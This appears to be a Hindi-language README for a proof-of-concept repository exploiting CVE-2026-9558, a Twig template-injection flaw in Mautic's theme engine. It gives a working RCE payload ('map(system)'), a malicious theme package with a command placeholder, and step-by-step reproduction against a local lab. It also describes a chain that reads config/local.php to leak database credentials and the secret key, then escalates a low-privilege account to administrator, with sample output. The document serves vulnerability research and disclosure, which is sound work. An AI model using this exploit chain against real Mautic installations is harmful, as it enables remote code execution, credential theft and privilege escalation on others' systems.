
CVE-2026-9558 (SSTI Mautic Theme) के लिए शोषणीयता PoC
CVE-2026-9558 Mautic के थीम इंजन में एक सर्वर-साइड टेम्पलेट इंजेक्शन (SSTI) कमजोरी है। थीम मैनेजर के माध्यम से अपलोड की गई थीमें ZIP आर्काइव होती हैं जिनमें Twig टेम्पलेट होते हैं, और प्रभावित संस्करणों में वे टेम्पलेट एप्लिकेशन के डिफ़ॉल्ट Twig Environment द्वारा बिना किसी SandboxExtension नीति के रेंडर किए जाते हैं।
क्योंकि Twig map, filter, और reduce जैसे फ़िल्टर के माध्यम से मनमानी PHP callables को आमंत्रित कर सकता है, थीम अपलोड अनुमति वाला एक प्रमाणित उपयोगकर्ता ऐसी थीम स्थापित कर सकता है जिसका टेम्पलेट रेंडर होते ही एक मनमाना सिस्टम कमांड चलाता है — जो स्वचालित रूप से तब होता है जब कोई उपयोगकर्ता पहली बार उस थीम के विरुद्ध ईमेल या लैंडिंग पेज बिल्डर खोलता है।
{{ ["id"] | map("system") | join }}
| प्रभावित श्रेणी | फिक्स्ड इन |
|---|---|
| >= 1.3.0, < 4.4.13 | 4.4.13 (4.4.20 via ELTS) |
| >= 5.0.0, < 5.2.11 | 5.2.11 |
| >= 6.0.0, < 6.0.9 | 6.0.9 |
| >= 7.0.0, < 7.1.2 | 7.1.2 |
यह लैब 7.1.1 को लक्षित करता है, जो फिक्स से पहले का अंतिम रिलीज़ है।
Mautic के डेवलपर दस्तावेज़ीकरण में कहा गया है कि थीम टेम्पलेट एक प्रतिबंधित Twig सैंडबॉक्स में रेंडर किए जाते हैं:
Mautic उपयोगकर्ता-अपलोड किए गए थीम टेम्पलेट को एक प्रतिबंधित Twig सैंडबॉक्स वातावरण में रेंडर करता है। सैंडबॉक्स कुछ कार्यों और फ़िल्टर को अवरुद्ध करता है जो रिमोट कोड निष्पादन, डेटा रिसाव, या फ़ाइलसिस्टम जांच को सक्षम कर सकते हैं।
प्रभावित संस्करणों में, वह सैंडबॉक्स नीति मौजूद नहीं है। फिक्स (7.1.2) में
ThemeSandboxPolicy.php शामिल किया गया है, जो एक डिनीलिस्ट-आधारित SecurityPolicyInterface कार्यान्वयन है जो map, filter, और reduce फ़िल्टर को और source() (मनमानी फ़ाइल पठन) और configGetParameter() (DB क्रेडेंशियल्स और एप्लिकेशन सीक्रेट कुंजी लीक) सहित कार्यों के एक सेट को अवरुद्ध करता है। फिक्स की अपनी इनलाइन टिप्पणी इस PoC में उपयोग किए गए सटीक पेलोड आकार का दस्तावेज़ीकरण करती है:
private const DENIED_FILTERS = [
'map', // {{ ['id']|map('system')|join }} -> RCE
'reduce',
'filter',
];
इस नीति से पहले, किसी भी थीम रेंडरिंग पथ पर ऐसा कोई प्रतिबंध मौजूद नहीं था।
इस श्रृंखला को एडवाइज़री के CVSS वेक्टर में PR:L शर्त को मिलाने के लिए केवल थीम्स (बनाएं/संपादित करें) और ईमेल (बनाएं/संपादित करें) अनुमति समूहों वाले — प्रशासक नहीं — निम्न-विशेषाधिकार वाले खाते के विरुद्ध एंड-टू-एंड मान्य किया गया।
.twig फ़ाइल में एम्बेडेड system() कॉल को निष्पादित करता है।config/local.php पढ़ता है, जिससे डेटाबेस क्रेडेंशियल्स और एप्लिकेशन secret_key सादे पाठ में उजागर होते हैं।PDO कनेक्शन खोलने और निम्न-विशेषाधिकार वाले खाते को role_id 1 (प्रशासक) तक बढ़ाने के लिए किया जाता है, जो Mautic के एप्लिकेशन-स्तरीय अनुमति जांचों को पूरी तरह से बायपास करता है।uid=33(www-data) gid=33(www-data) groups=33(www-data)
'db_host' => 'mautic-db',
'db_user' => 'mautic',
'db_password' => 'mauticpass',
'secret_key' => 'a15d98da823d751f4a0a5219123f4afbd90eb254074b1cea07518a3c0db70bcd',
rows_updated=1
confirm: 2|priv-esc|1
एडवाइज़री PR:L बताती है। यह लैब व्यवहार में विशिष्ट निम्न-विशेषाधिकार पूर्व शर्त की पुष्टि करती है: रेंडर ट्रिगर तक पहुंचने के लिए थीम अपलोड अनुमति और ईमेल निर्माण अनुमति दोनों की आवश्यकता होती है — न कि केवल एक सामान्य निम्न अनुमति। आधिकारिक फिक्स के अलावा कोई भी वर्कअराउंड इसे प्रतिबंधित नहीं करता; एकमात्र दस्तावेज़ीकृत उपाय core:themes:create को विश्वसनीय प्रशासकों तक सीमित करना है।
cve-2026-9558-poc/
├── podman-compose.yml # MariaDB + Mautic 7.1.1-apache, अलग ब्रिज नेटवर्क
├── Dockerfile.mautic # आधिकारिक इमेज को कमजोर रिलीज़ पर पिन करता है
├── install.sh # गैर-संवादात्मक mautic:install बूटस्ट्रैप
└── sparse/
├── config.json # दुर्भावनापूर्ण थीम मेनिफेस्ट
├── sparse.zip # अपलोड के लिए तैयार थीम
└── html/
├── email.html.twig # SSTI पेलोड टेम्पलेट। फ़ाइल के अंत में देखें जहां मनमानी कमांड इंजेक्ट करने के लिए प्लेसहोल्डर है।
├── ... # अन्य .twig फ़ाइलें
└── .../ # अन्य निर्देशिकाएँ (जैसे css)
| उपकरण | संस्करण | टिप्पणियाँ |
|---|---|---|
| Podman | ≥ 4.0 | podman-compose आवश्यक |
| curl | कोई भी | install.sh द्वारा तत्परता जांचने के लिए उपयोग किया जाता है |
इस PoC में शोषण Mautic वेब UI (थीम मैनेजर अपलोड → ईमेल बिल्डर) के माध्यम से मैन्युअल रूप से किया जाता है, जो वास्तविक हमलावर वर्कफ़्लो से मेल खाता है: थीम अपलोड एक फ़ाइल ऑपरेशन है, न कि कोई API कॉल जो विश्लेषण के इस चरण के लिए स्वचालित करने लायक हो।
podman-compose up -d
./install.sh
install.sh एप्लिकेशन कंटेनर के कनेक्शन स्वीकार करने की प्रतीक्षा करता है, फिर पहले प्रशासक खाते को बूटस्ट्रैप करने के लिए गैर-संवादात्मक रूप से mautic:install चलाता है।
UI से, केवल थीम्स (बनाएं/संपादित करें) और ईमेल (बनाएं/संपादित करें) सक्षम के साथ एक कस्टम भूमिका बनाएं, और उस भूमिका को सौंपा गया एक उपयोगकर्ता बनाएं। यह प्रशासक के रूप में परीक्षण करने के बजाय PR:L पूर्व शर्त को पुन: उत्पन्न करता है।
निम्न-विशेषाधिकार उपयोगकर्ता के रूप में लॉग इन करें। थीम्स → अपलोड से, sparse/config.json और sparse/html/page.html.twig (या पेलोड लाइन जोड़ी गई किसी निर्मित थीम की संशोधित प्रतिलिपि) से निर्मित एक ZIP अपलोड करें।
चैनल → ईमेल → नया से, अपलोड की गई थीम को टेम्पलेट के रूप में चुनें और बिल्डर खोलें। जैसे ही थीम पूर्वावलोकन के लिए रेंडर होती है, पेलोड निष्पादित होता है।
podman-compose down -v
uid=33(www-data) gid=33(www-data) groups=33(www-data)
| संसाधन | लिंक |
|---|---|
| एडवाइज़री | GHSA-9fx4-7cmj-47vg |
| फिक्स (सैंडबॉक्स नीति) | ThemeSandboxPolicy.php |
| कमजोर रिपॉजिटरी | mautic/mautic |
| पूर्ण विश्लेषण — ब्लॉग पोस्ट | return-zero.dev/posts/cve-2026-9558 |
यह रिपॉजिटरी केवल शैक्षिक उद्देश्यों और स्थानीय शोषण विश्लेषण के लिए है। सभी परीक्षण एक स्व-होस्टेड कंटेनर वातावरण के विरुद्ध किए गए। इस PoC को उन सिस्टमों के विरुद्ध न चलाएं जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित प्राधिकरण नहीं है।